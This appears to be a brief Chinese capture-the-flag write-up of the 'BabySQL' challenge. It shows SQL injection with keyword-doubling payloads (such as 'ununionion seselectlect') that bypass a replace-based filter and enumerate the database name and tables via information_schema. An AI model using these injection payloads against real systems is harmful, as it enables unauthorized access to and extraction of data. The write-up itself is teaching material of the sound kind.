[极客大挑战 2019]BabySQL 1
文章目录
题目预览

基本测试
这里包数据包放到Burp的Repeater中继续进行
单引号测试报错,#号闭合回显,说明有SQL注入点
注意:这里面的空格用+号替换


查列数
回显发现过滤了or,by,回显中留下了der,判断是用replace替换过滤,后面用双写绕过

双写后继续测试

最后测试完是3列

测数据库
后续测试中过滤什么,就双写什么
sql
ununionion+seselectlect+1,2,database()%23
测试到数据库是geek

测数据表
sql
ununionion+seselectlect+1,2,group_concat(table_name)+frfromom+infoorrmation_schema.tables+whwhereere+table_schema='geek'%23

测数据字段

测字段值

完结~